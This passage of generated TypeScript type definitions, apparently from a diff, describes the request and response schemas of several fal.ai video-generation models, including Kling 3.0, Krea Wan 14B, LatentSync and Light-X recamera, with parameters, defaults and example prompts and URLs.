inputFalAiKlingVideoV3ProTextToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoV3ProTextToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoV3ProTextToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoV3ProTextToVideoShotTypeEnum] + +export type InputFalAiKlingVideoV3ProTextToVideo = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt. + * + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV3ProTextToVideoDurationEnumKey + /** + * @description The aspect ratio of the generated video frame + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoV3ProTextToVideoAspectRatioEnumKey + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoV3ProTextToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example Close-up of glowing fireflies dancing in a dark forest at twilight. Soft bioluminescent particles float through the air. Shallow depth of field, bokeh lights in background. Magical atmosphere, gentle movement. + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. Supports Chinese and English voice output. Other languages are automatically translated to English. For English speech, use lowercase letters; for acronyms or proper nouns, use uppercase. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description List of prompts for multi-shot video generation. If provided, overrides the single prompt and divides the video into multiple shots with specified prompts and durations. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File61306Bb5 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV3ProTextToVideo = { + /** + * @description The generated video + * @example {"file_size":8062911,"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-v3/pro-t2v/out.mp4","file_name":"output.mp4"} + * @type object + */ + video: File61306Bb5 +} + +export const inputFalAiKlingVideoV3StandardImageToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoV3StandardImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV3StandardImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV3StandardImageToVideoDurationEnum] + +export const inputFalAiKlingVideoV3StandardImageToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoV3StandardImageToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoV3StandardImageToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoV3StandardImageToVideoShotTypeEnum] + +export type InputFalAiKlingVideoV3StandardImageToVideo = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt. + * + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The duration of the generated video in seconds + * @default '5' + * @example 12 + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV3StandardImageToVideoDurationEnumKey + /** + * @description URL of the image to be used for the end of the video + */ + end_image_url?: string | null + /** + * @description Elements (characters/objects) to include in the video. Each example can either be an image set (frontal + reference images) or a video. Reference in prompt as @Element1, @Element2, etc. + * @example [{"reference_image_urls":["https://v3b.fal.media/files/b/0a8cfd62/psPCmzrD1y9vDgdyNfKAL_glasses_back.png"],"frontal_image_url":"https://v3b.fal.media/files/b/0a8cfd5f/-kZL-ha3Iuelku5IHXC-A_glasses.png"},{"video_url":"https://v3b.fal.media/files/b/0a8cfd66/b03SOiQvKLlFx_jqdNZ9z_child_video.mp4"}] + */ + elements?: KlingV3ComboElementInput[] | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoV3StandardImageToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example Camera slowly orbits around the vase. Soft light shifts across the ceramic surface. The pampas grass sways gently. Shadows move elegantly. Smooth continuous motion, premium feel. + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. Supports Chinese and English voice output. Other languages are automatically translated to English. For English speech, use lowercase letters; for acronyms or proper nouns, use uppercase. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL of the image to be used for the video + * @example https://storage.googleapis.com/falserverless/example_inputs/kling-v3/standard-i2v/start_image.png + * @type string + */ + start_image_url: string + /** + * @description List of prompts for multi-shot video generation. If provided, divides the video into multiple shots. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileF96A2F89 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV3StandardImageToVideo = { + /** + * @description The generated video + * @example {"file_size":3149129,"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-v3/standard-i2v/out.mp4","file_name":"out.mp4"} + * @type object + */ + video: FileF96A2F89 +} + +export const inputFalAiKlingVideoV3StandardMotionControlCharacterOrientationEnum = + { + image: 'image', + video: 'video', + } as const + +export type InputFalAiKlingVideoV3StandardMotionControlCharacterOrientationEnumKey = + (typeof inputFalAiKlingVideoV3StandardMotionControlCharacterOrientationEnum)[keyof typeof inputFalAiKlingVideoV3StandardMotionControlCharacterOrientationEnum] + +export type InputFalAiKlingVideoV3StandardMotionControl = { + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to keep the original sound from the reference video. + * @default true + * @type boolean | undefined + */ + keep_original_sound?: boolean + /** + * @description Controls whether the output character's orientation matches the reference image or video. 'video': orientation matches reference video - better for complex motions (max 30s). 'image': orientation matches reference image - better for following camera movements (max 10s). + * @example video + * @type string + */ + character_orientation: InputFalAiKlingVideoV3StandardMotionControlCharacterOrientationEnumKey + /** + * @description Reference image URL. The characters, backgrounds, and other elements in the generated video are based on this reference image. Characters should have clear body proportions, avoid occlusion, and occupy more than 5% of the image area. + * @example https://v3b.fal.media/files/b/0a90ee31/VHtWK5BZMa-XoT6gahJKS_077.png + * @type string + */ + image_url: string + /** + * @description Optional element for facial consistency binding. Upload a facial element to enhance identity preservation in the generated video. Only 1 element is supported. Reference in prompt as @Element1. Element binding is only supported when character_orientation is 'video'. + * @example null + */ + elements?: KlingV3ImageElementInput[] | null + /** + * @example An man dancing + */ + prompt?: string | null + /** + * @description Reference video URL. The character actions in the generated video will be consistent with this reference video. Should contain a realistic style character with entire body or upper body visible, including head, without obstruction. Duration limit depends on character_orientation: 10s max for 'image', 30s max for 'video'. + * @example https://v3b.fal.media/files/b/0a90edae/3nvl30ic9g2otKRcOV5nO_output.mp4 + * @type string + */ + video_url: string +} + +export type File1865F748 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV3StandardMotionControl = { + /** + * @description The generated video + * @example {"url":"https://v3b.fal.media/files/b/0a90ee68/7-xpX-LTxX_nRHL776FrZ_output.mp4"} + * @type object + */ + video: File1865F748 +} + +export const inputFalAiKlingVideoV3StandardTextToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoV3StandardTextToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV3StandardTextToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV3StandardTextToVideoDurationEnum] + +export const inputFalAiKlingVideoV3StandardTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoV3StandardTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoV3StandardTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoV3StandardTextToVideoAspectRatioEnum] + +export const inputFalAiKlingVideoV3StandardTextToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoV3StandardTextToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoV3StandardTextToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoV3StandardTextToVideoShotTypeEnum] + +export type InputFalAiKlingVideoV3StandardTextToVideo = { + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt. + * + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV3StandardTextToVideoDurationEnumKey + /** + * @description The aspect ratio of the generated video frame + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoV3StandardTextToVideoAspectRatioEnumKey + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoV3StandardTextToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example Cinematic drone shot flying through ancient stone ruins covered in moss and vines at golden hour. Camera starts low, rises through crumbling archways, revealing a vast misty valley beyond. Volumetric light rays pierce through gaps in the stone. Epic scale, photorealistic, 8K quality. + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. Supports Chinese and English voice output. Other languages are automatically translated to English. For English speech, use lowercase letters; for acronyms or proper nouns, use uppercase. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @maxLength 2500 + * @default 'blur, distort, and low quality' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description List of prompts for multi-shot video generation. If provided, overrides the single prompt and divides the video into multiple shots with specified prompts and durations. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileD53B177D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV3StandardTextToVideo = { + /** + * @description The generated video + * @example {"file_size":6797486,"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-v3/standard-t2v/out.mp4","file_name":"output.mp4"} + * @type object + */ + video: FileD53B177D +} + +export const inputFalAiKlingVideoV3TurboProImageToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoV3TurboProImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV3TurboProImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV3TurboProImageToVideoDurationEnum] + +/** + * @description Kling 3.0 Turbo (pro, 1080p) image-to-video input. + * @type object + */ +export type InputFalAiKlingVideoV3TurboProImageToVideo = { + /** + * @description Optional text prompt. For best results keep the prompt under 2500 characters. Mutually exclusive with `multi_prompt`. + * @example The dappled light shifts gently across her face as leaves sway, a strand of hair drifts, she softly smiles and looks to the lens. The camera holds close. Photorealistic, fresh, intimate. + */ + prompt?: string | null + /** + * @description First-frame reference image. Formats: .jpg/.jpeg/.png; max 50MB; min 300px per side; aspect ratio within 1:2.5 to 2.5:1. + * @example https://v3b.fal.media/files/b/0a9ea0aa/R_9HxGaCuonczhLfscQnM_579d59f2510345ad956fd95dba2c43b6.png + * @type string + */ + image_url: string + /** + * @description Video length in seconds. + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV3TurboProImageToVideoDurationEnumKey + /** + * @description Multi-shot storyboard (1-6 shots). Each shot has its own prompt and duration; the total duration must not exceed 15s. Mutually exclusive with `prompt`. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File829580Fc = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV3TurboProImageToVideo = { + /** + * @description The generated video + * @example {"file_size":8390943,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a9ea0cc/u66I5Q5EHikrGF39EEk8t_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File829580Fc +} + +export const inputFalAiKlingVideoV3TurboProTextToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoV3TurboProTextToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV3TurboProTextToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV3TurboProTextToVideoDurationEnum] + +export const inputFalAiKlingVideoV3TurboProTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoV3TurboProTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoV3TurboProTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoV3TurboProTextToVideoAspectRatioEnum] + +/** + * @description Kling 3.0 Turbo (pro, 1080p) text-to-video input. + * @type object + */ +export type InputFalAiKlingVideoV3TurboProTextToVideo = { + /** + * @description Text prompt to generate the video with. For best results keep the prompt under 2500 characters. Mutually exclusive with `multi_prompt`. + * @example A jazz saxophonist sways gently into the note, cheeks pressing, sweat glistening, smoke drifting through the warm light. The camera eases in slowly. Photorealistic, soulful, moody. + */ + prompt?: string | null + /** + * @description Video length in seconds. + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV3TurboProTextToVideoDurationEnumKey + /** + * @description The aspect ratio (width:height) of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoV3TurboProTextToVideoAspectRatioEnumKey + /** + * @description Multi-shot storyboard (1-6 shots). Each shot has its own prompt and duration; the total duration must not exceed 15s. Mutually exclusive with `prompt`. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileFac8F3F2 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV3TurboProTextToVideo = { + /** + * @description The generated video + * @example {"file_size":9274380,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a9ea0a1/Ayb-2fiZBthFQp-kLrw4M_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: FileFac8F3F2 +} + +export const inputFalAiKlingVideoV3TurboStandardImageToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoV3TurboStandardImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV3TurboStandardImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV3TurboStandardImageToVideoDurationEnum] + +/** + * @description Kling 3.0 Turbo (standard, 720p) image-to-video input. + * @type object + */ +export type InputFalAiKlingVideoV3TurboStandardImageToVideo = { + /** + * @description Optional text prompt. For best results keep the prompt under 2500 characters. Mutually exclusive with `multi_prompt`. + * @example He sways gently into the note, cheeks pressing, sweat glistening, smoke drifting through the warm light. The camera eases in slowly. Photorealistic, soulful, moody. + */ + prompt?: string | null + /** + * @description First-frame reference image. Formats: .jpg/.jpeg/.png; max 50MB; min 300px per side; aspect ratio within 1:2.5 to 2.5:1. + * @example https://v3b.fal.media/files/b/0a9ea079/Y8Pn9lNLLpGQtECV5LgX3_d6533d99ec5f45d88923f8e2bc41ad8d.png + * @type string + */ + image_url: string + /** + * @description Video length in seconds. + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV3TurboStandardImageToVideoDurationEnumKey + /** + * @description Multi-shot storyboard (1-6 shots). Each shot has its own prompt and duration; the total duration must not exceed 15s. Mutually exclusive with `prompt`. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileD3Bbd21A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV3TurboStandardImageToVideo = { + /** + * @description The generated video + * @example {"file_size":9274380,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a9ea0a1/Ayb-2fiZBthFQp-kLrw4M_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: FileD3Bbd21A +} + +export const inputFalAiKlingVideoV3TurboStandardTextToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoV3TurboStandardTextToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoV3TurboStandardTextToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoV3TurboStandardTextToVideoDurationEnum] + +export const inputFalAiKlingVideoV3TurboStandardTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoV3TurboStandardTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoV3TurboStandardTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoV3TurboStandardTextToVideoAspectRatioEnum] + +/** + * @description Kling 3.0 Turbo (standard, 720p) text-to-video input. + * @type object + */ +export type InputFalAiKlingVideoV3TurboStandardTextToVideo = { + /** + * @description Text prompt to generate the video with. For best results keep the prompt under 2500 characters. Mutually exclusive with `multi_prompt`. + * @example The cubs paw and tumble against the lioness, she lifts her head and licks one, the grass swaying in a soft breeze. The camera drifts in slowly. Photorealistic, tender, warm. + */ + prompt?: string | null + /** + * @description Video length in seconds. + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV3TurboStandardTextToVideoDurationEnumKey + /** + * @description The aspect ratio (width:height) of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoV3TurboStandardTextToVideoAspectRatioEnumKey + /** + * @description Multi-shot storyboard (1-6 shots). Each shot has its own prompt and duration; the total duration must not exceed 15s. Mutually exclusive with `prompt`. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File394D6A48 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV3TurboStandardTextToVideo = { + /** + * @description The generated video + * @example {"file_size":11480612,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a9e90b9/yFoK9fyMh8DAnZSkJrrFH_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File394D6A48 +} + +export type InputFalAiKreaWan14BTextToVideo = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Prompt for the video-to-video generation. + * @example A powerful, matte black jeep, its robust frame contrasting with the lush green surroundings, navigates a winding jungle road, kicking up small clouds of dust and loose earth from its tires. + * @type string + */ + prompt: string + /** + * @description Seed for the video-to-video generation. + */ + seed?: number | null + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Number of frames to generate. Must be a multiple of 12 plus 6, for example 6, 18, 30, 42, etc. + * @minimum 18 + * @maximum 162 + * @default 78 + * @type integer | undefined + */ + num_frames?: number +} + +export type FileF9F1826C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKreaWan14BTextToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/krea_wan_14b_v2v_output.mp4"} + * @type object + */ + video: FileF9F1826C +} + +export type InputFalAiKreaWan14BVideoToVideo = { + /** + * @description Seed for the video-to-video generation. + */ + seed?: number | null + /** + * @description URL of the input video. Currently, only outputs of 16:9 aspect ratio and 480p resolution are supported. Video duration should be less than 1000 frames at 16fps, and output frames will be 6 plus a multiple of 12, for example 18, 30, 42, etc. + * @example https://storage.googleapis.com/falserverless/example_inputs/krea_wan_14b_v2v_input.mp4 + * @type string + */ + video_url: string + /** + * @description Denoising strength for the video-to-video generation. 0.0 preserves the original, 1.0 completely remakes the video. + * @minimum 0.01 + * @maximum 1 + * @default 0.85 + * @type number | undefined + */ + strength?: number + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Prompt for the video-to-video generation. + * @example A powerful, matte black jeep, its robust frame contrasting with the lush green surroundings, navigates a winding jungle road, kicking up small clouds of dust and loose earth from its tires. + * @type string + */ + prompt: string +} + +export type File173D0108 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKreaWan14BVideoToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/krea_wan_14b_v2v_output.mp4"} + * @type object + */ + video: File173D0108 +} + +export const inputFalAiLatentsyncLoopMode = { + pingpong: 'pingpong', + loop: 'loop', +} as const + +export type InputFalAiLatentsyncLoopModeKey = + (typeof inputFalAiLatentsyncLoopMode)[keyof typeof inputFalAiLatentsyncLoopMode] + +export type InputFalAiLatentsync = { + /** + * @description Random seed for generation. If None, a random seed will be used. + */ + seed?: number | null + /** + * @description The URL of the video to generate the lip sync for. + * @example https://fal.media/files/koala/8teUPbRRMtAUTORDvqy0l.mp4 + * @type string + */ + video_url: string + /** + * @description The URL of the audio to generate the lip sync for. + * @example https://fal.media/files/lion/vyFWygmZsIZlUO4s0nr2n.wav + * @type string + */ + audio_url: string + /** + * @description Video loop mode when audio is longer than video. Options: pingpong, loop + */ + loop_mode?: InputFalAiLatentsyncLoopModeKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Guidance scale for the model inference + * @minimum 1 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number +} + +export type File42A181Df = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLatentsync = { + /** + * @description The generated video with the lip sync. + * @type object + */ + video: File42A181Df +} + +/** + * @description Camera trajectory parameters for re-camera operations. + * + * Each list represents interpolation values across frames: + * - theta: Horizontal rotation angles (degrees) + * - phi: Vertical rotation angles (degrees) + * - radius: Camera distance scaling factors + * @type object + */ +export type TrajectoryParameters = { + /** + * @description Camera distance scaling factors for each keyframe. + * @example [0,0.02,0.09,0.16,0.25,0.2,0.09,0] + * @type array + */ + radius: number[] + /** + * @description Vertical rotation angles (degrees) for each keyframe. + * @example [0,-3,-8,-15,-20,-15,-10,-5,0] + * @type array + */ + phi: number[] + /** + * @description Horizontal rotation angles (degrees) for each keyframe. + * @example [0,2,8,10,5,3,0,-2,-5,-8,-5,-3,0] + * @type array + */ + theta: number[] +} + +export const inputFalAiLightxRecameraCameraEnum = { + traj: 'traj', + target: 'target', +} as const + +export type InputFalAiLightxRecameraCameraEnumKey = + (typeof inputFalAiLightxRecameraCameraEnum)[keyof typeof inputFalAiLightxRecameraCameraEnum] + +export const inputFalAiLightxRecameraModeEnum = { + gradual: 'gradual', + bullet: 'bullet', + direct: 'direct', + 'dolly-zoom': 'dolly-zoom', +} as const + +export type InputFalAiLightxRecameraModeEnumKey = + (typeof inputFalAiLightxRecameraModeEnum)[keyof typeof inputFalAiLightxRecameraModeEnum] + +/** + * @description Re-camera-only request (minimal schema). + * @type object + */ +export type InputFalAiLightxRecamera = { + /** + * @description Camera control mode. + * @default 'traj' + * @type string | undefined + */ + camera?: InputFalAiLightxRecameraCameraEnumKey + /** + * @description Camera motion mode. + * @default 'gradual' + * @type string | undefined + */ + mode?: InputFalAiLightxRecameraModeEnumKey + /** + * @description URL of the input video. + * @example https://storage.googleapis.com/falserverless/example_inputs/lightx_video.mp4 + * @type string + */ + video_url: string + /** + * @description Target camera pose [theta, phi, radius, x, y] (required when camera='target'). + * @example [10,-15,0.2,0,0] + */ + target_pose?: number[] | null + /** + * @description Optional text prompt. If omitted, Light-X will auto-caption the video. + */ + prompt?: string | null + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Camera trajectory parameters (required for recamera mode). + * @example {"radius":[0,0.02,0.09,0.16,0.25,0.2,0.09,0],"phi":[0,-3,-8,-15,-20,-15,-10,-5,0],"theta":[0,2,8,10,5,3,0,-2,-5,-8,-5,-3,0]} + */ + trajectory?: TrajectoryParameters | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File4F0Fbe99 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLightxRecamera = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Optional: normalized/processed input video (if produced by the pipeline). + */ + input_video?: File4F0Fbe99 | null + /** + * @description The generated video file. + * @example 